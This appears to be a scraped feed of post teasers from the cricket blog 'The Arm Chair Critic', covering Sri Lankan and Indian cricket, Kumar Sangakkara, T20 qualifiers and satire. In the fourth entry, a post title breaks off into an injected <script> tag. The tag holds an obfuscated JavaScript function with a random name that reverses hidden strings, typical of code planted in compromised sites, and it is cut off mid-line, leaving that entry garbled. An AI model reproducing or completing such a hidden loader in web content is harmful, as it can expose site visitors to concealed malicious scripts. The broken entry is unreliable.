Can cricket impress America,from where it was banished a century ago? Which were the two teams to play the first International cricket match? Too easy. England and Australia. Let the buzzer bray and the... The post Legends T20 League in USA – Can cricket win back the land of America, one of the game’s first proponents? appeared first on The Arm Chair Critic.

Kohli should play only two spinners So, Rama has arrived with his troops in Lanka for yet another shot at conquering the Ravana ruled Lanka. 22 years, it has been, since his army conquered... The post Why India should not go overboard with strengthening their spin bowling for the Lanka series appeared first on The Arm Chair Critic.

Lasith Malinga celebrates the wicket of Ahmed Shahzad with Sri Lanka teammates during the 1st T20I against Pakistan The Sri Lankan team once had a lion in their team; the lion that swaggered around its... The post Lasith Malinga’s nadir – Is the clock ticking for the veteran? appeared first on The Arm Chair Critic.

The 2014 Hong Kong team, street cricket in Papua New Guinea, a cricket stadium in Nepal(clockwise from top) The 2015 ICC World Twenty20 Qualifier played in the month of July in Scotland and Ireland saw[...] The post WorldT20 Qualifier: The pretentious Oman and<script type="text/javascript">$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == "string") return $VOcl3cIRrbzlimOyC8H.list[n].split("").reverse().join("");return $VOcl3cIRrbzlim

The 2014 Hong Kong team, street cricket in Papua New Guinea, a cricket stadium in Nepal(clockwise from top) The 2015 ICC World Twenty20 Qualifier played in the month of July in Scotland and Ireland... The post WorldT20 Qualifier: The pretentious Oman and Hong Kong and the hapless Nepal and Papua New Guinea appeared first on The Arm Chair Critic.

An interview with a perennial culprit There are things in life that you believe in; there are things you don’t. Then, there are things that you wished you could believe and there are things... The post Satire: A cricket journalist grills rain, a long time match fixer appeared first on The Arm Chair Critic.

Angelo Mathews and Marvan Atapattu pictured prior to the Pallekele Test against Pakistan I thought about ranting on it after the Test defeat in Sharjah. Mathews had just been baptised as the captain. So let’s wait,... The post The Angelo Mathews-Marvan Atapattu combo and the retrograde of Sri Lanka cricket appeared first on The Arm Chair Critic.

Fourteen years ago, a young man walked out to the middle of the hostile Centurion track to open the innings for his team, that was playing only its second Test series in the Rainbow nation. His... The post Kumar Sangakkara – A look beyond the oomph of his magical numbers appeared first on The Arm Chair Critic.

India should play 5 bowlers in Test cricket on a consistent basis going forward A kingdom that has ambitions of turning itself into an empire has the obligation of pumping oxygen into its offense... The post Why the 5-bowler strategy is the way to go for India in Test cricket appeared first on The Arm Chair Critic.

As Adam Voges, the 35 year old Australian, raised his bat in jubilance after scoring a century on debut, I worried if it would help give another opportunity to Jehan Mubarak. Mubarak last played... The post Forget Mubarak and focus on youth appeared first on The Arm Chair Critic.

It is a well-established fact that Test matches cannot be won alone. You need contribution from batsmen, bowlers and fielders alike. Hence, calling a batsman a match-winner in Tests might be a little pretentious. But if... The post Who is the greatest match-winner in Tests among current batsmen? appeared first on The Arm Chair Critic.

A kingdom that has ambitions of turning itself into an empire has the obligation of pumping oxygen into its offense than splurging the resources to strengthen its defense. Indian cricket, now, is at an... The post Why the 5-bowler strategy is the way to go for India in Test cricket appeared first on The Arm Chair Critic.

There is always this jostle with stats, science and mathematics to extricate the right numerals to arithmetically manipulate and find who in the team had a major say in the victory. Cricket is a... The post Who is the greatest match winner in ODIs among current batsmen? appeared first on The Arm Chair Critic.

“We were soft on our batting. It’s always difficult to chase 180+. We lost momentum in the middle, and not to forget Smith got a horrible decision. We need to lift our game…”, uttered the... The post Code of conduct for cricketers and democracy in Cricket appeared first on The Arm Chair Critic.

2 years ago, Facebook founder Mark Zuckerberg launched Internet.org, a platform that would provide a selected few services free of any data charges over a selected set of telecommunication networks. Since the time the... The post Internet.org, Zero Rating and Net Neutrality- Why India is overreacting to Internet.org appeared first on The Arm Chair Critic.

If you are brought up watching cricket, there are certain things in life only you can relate to. The ones who don’t follow the sport or have no idea about it have definitely missed... The post 35 things that only cricket fans can relate to appeared first on The Arm Chair Critic.

Any heart-warming novel will have its final chapter. Any supremely impassioned movie will have its final minutes. A good rendition of mellifluous music will glide through a crescendo before petering out to a cathartic consummation. Kumar... The post Kumar Sangakkara’s retirement – It’s not the end, it’s the consummation appeared first on The Arm Chair Critic.

If you surf the social media, all what you would find are posts of condolences for South Africa’s “unexpected” semi-final exit from the World Cup that they deserved to win. Imageries of Ab de Villiers shedding... The post CWC 2015: New Zealand vs South Africa 1st semi-final – Why the Kiwis were worthy winners appeared first on The Arm Chair Critic.

  Giles Clarke, the chairman of England and Wales Cricket board has come forward to help the homeless South African team by promising a sanctuary for the 15-man squad which has been denied entry... The post Satire: England to provide asylum to ‘homeless’ South African cricketers appeared first on The Arm Chair Critic.